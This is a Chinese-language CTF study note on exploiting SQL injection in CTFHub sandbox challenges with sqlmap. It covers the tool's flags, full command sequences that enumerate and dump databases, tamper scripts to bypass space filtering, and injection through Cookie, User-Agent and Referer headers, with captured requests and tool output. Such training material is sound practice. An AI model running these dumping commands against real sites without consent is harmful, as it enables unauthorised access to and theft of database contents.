OIer 的 CTF Web SQL 注入学习笔记

某些网站上存在 SQL 的漏洞,我们可以利用漏洞进行 SQL 注入获取数据库的信息。

一般来说网址或请求的末尾带有 ?id=1 的字样我们就可以考虑 SQL 注入。

然而我完全不会 SQL,于是 sqlmap 大法好 QWQ

本文一切例题均可在 CTFHub 找到。

sqlmap 介绍

sqlmap 是一个协助 SQL 注入的工具,且 Kali Linux 自带。我们可以很方便地获取数据库的信息。

常用方法如下表:

参数 描述
-u <URL> 指定注入链接为 <URL>
-r <filename> 指定注入网站的 HTTP 请求为 <filename> 文本文件中的内容
--dbs 获取数据库数据
--tables 获取表信息
--columns 获取列信息
--dump 获取字段内容
-D <name> 指定搜索的数据库为 <name>
-T <name> 指定搜索的表为 <name>
-C <name> 指定搜索的列为 <name>
--level <num> 指定搜索等级为 <num>
--cookie "<string>" 指定访问网页时的 Cookie 为 <string>
-p "<string>" 指定测试的类型为 <string>
--tamper "<filename>" 附加名为 <filename> 的脚本

使用 sqlmap 进行 SQL 注入

题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> 整数型注入 / 字符型注入 / 报错注入 / 布尔盲注 / 时间盲注 / MySQL 结构

这些题都可用以下套路解决:

输入 1,我们可以在网址上看到 ?id=1 的字样,于是我们可以使用 sqlmap 进行 SQL 注入。

在终端中输入以下指令,可获得数据库的信息(部分信息已用省略号代替):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(xenonwzh㉿XenonWZH-Surface)-[~]
└─$ sqlmap -u http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1 --dbs
___
__H__
___ ___[,]_____ ___ ___ {1.7#stable}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:54:00 /2023-02-10/

......

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y

......

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:

......

available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sqli

[08:54:35] [INFO] fetched data logged to text files under '/home/xenonwzh/.local/share/sqlmap/output/challenge-XXX.sandbox.ctfhub.com'

[*] ending @ 08:54:35 /2023-02-10/

于是我们可知有 information_schemamysqlperformance_schemasqli 四个数据库。我们选择 sqli 数据库进行注入(部分信息已用省略号代替):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(xenonwzh㉿XenonWZH-Surface)-[~]
└─$ sqlmap -u http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1 -D sqli --tables

......

Database: sqli
[2 tables]
+------+
| flag |
| news |
+------+

[08:59:23] [INFO] fetched data logged to text files under '/home/xenonwzh/.local/share/sqlmap/output/challenge-XXX.sandbox.ctfhub.com'

[*] ending @ 08:59:23 /2023-02-10/

于是我们可得到 flagnews 两个表,我们选择注入 flag 表(部分信息已用省略号代替):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(xenonwzh㉿XenonWZH-Surface)-[~]
└─$ sqlmap -u http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1 -D sqli -T flag --columns --dump

......

Database: sqli
Table: flag
[1 column]
+--------+--------------+
| Column | Type |
+--------+--------------+
| flag | varchar(100) |
+--------+--------------+

[08:59:35] [INFO] fetching columns for table 'flag' in database 'sqli'
[08:59:35] [INFO] fetching entries for table 'flag' in database 'sqli'
Database: sqli
Table: flag
[1 entry]
+----------------------------------+
| flag |
+----------------------------------+
| ctfhub{XXXXXX} |
+----------------------------------+

[08:59:35] [INFO] table 'sqli.flag' dumped to CSV file '/home/xenonwzh/.local/share/sqlmap/output/challenge-c35f0537e0f328ea.sandbox.ctfhub.com/dump/sqli/flag.csv'
[08:59:35] [INFO] fetched data logged to text files under '/home/xenonwzh/.local/share/sqlmap/output/challenge-c35f0537e0f328ea.sandbox.ctfhub.com'

[*] ending @ 08:59:35 /2023-02-10/

于是我们就获得了 flag。

过滤空格

题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> 过滤空格

在注入时候空格被过滤掉了,这时我们可以使用 /**/ 来代替空格。

sqlmap 有一个附加脚本 space2comment.py 可将空格替换成 /**/,正好可解决这个问题。

于是我们执行以下指令即可:

1
2
3
sqlmap -u "http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1" --tamper "space2comment.py" --dbs
sqlmap -u "http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1" --tamper "space2comment.py" -D sqli --tables
sqlmap -u "http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1" --tamper "space2comment.py" -D sqli -T kttcekvceq --columns --dump

于是可获得 flag。

Cookie 注入

题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> Cookie 注入

利用 brupsuite 抓包,发现注入点在 Cookie 中,于是我们可以使用 sqlmap 进行 Cookie 注入。

注意我们需要对 sqlmap 设置 --level 2 才能使其扫描 Cookie。执行代码如下:

1
2
3
sqlmap -u "http://challenge-XXX.sandbox.ctfhub.com:XXXXX/" --cookie "id=1" --level 2 --dbs
sqlmap -u "http://challenge-XXX.sandbox.ctfhub.com:XXXXX/" --cookie "id=1" --level 2 -D sqli --tables
sqlmap -u "http://challenge-XXX.sandbox.ctfhub.com:XXXXX/" --cookie "id=1" --level 2 -D sqli -T hxwrqtoxda --columns --dump

UA 注入

题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> UA 注入

这道题的注入点在 User-Agent 中。

这时我们使用 brupsuite 抓包,并将信息存储在 test.txt 以备注入使用(* 表示指定注入的点):

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: challenge-XXX.sandbox.ctfhub.com:XXXXX
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: *
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

于是我们可以用 sqlmap 分析抓包信息。设置 --level 3 并使用 -p 指定为 User-Agent 注入即可。执行代码如下:

1
2
3
sqlmap -r "test.txt" -p User-Agent --level 3 --dbs
sqlmap -r "test.txt" -p User-Agent --level 3 -D sqli --tables
sqlmap -r "test.txt" -p User-Agent --level 3 -D sqli -T swthkhjyyp --columns --dump

Refer 注入

题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> Refer 注入

我们使用 brupsuite 抓包,并未发现 Refer,于是可以自己构造 Refer(* 表示指定注入的点):

1
2
3
4
5
6
7
8
9
GET / HTTP/1.1
Host: challenge-XXX.sandbox.ctfhub.com:XXXXX
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Referer: id=1*

于是我们可以用 sqlmap 分析抓包信息。设置 --level 5 并使用 -p 指定为 referer 注入即可。执行代码如下:

1
2
3
sqlmap -r "test.txt" -p referer --level 5 --dbs
sqlmap -r "test.txt" -p referer --level 5 -D sqli --tables
sqlmap -r "test.txt" -p referer --level 5 -D sqli -T vdcwkjvvjz --columns --dump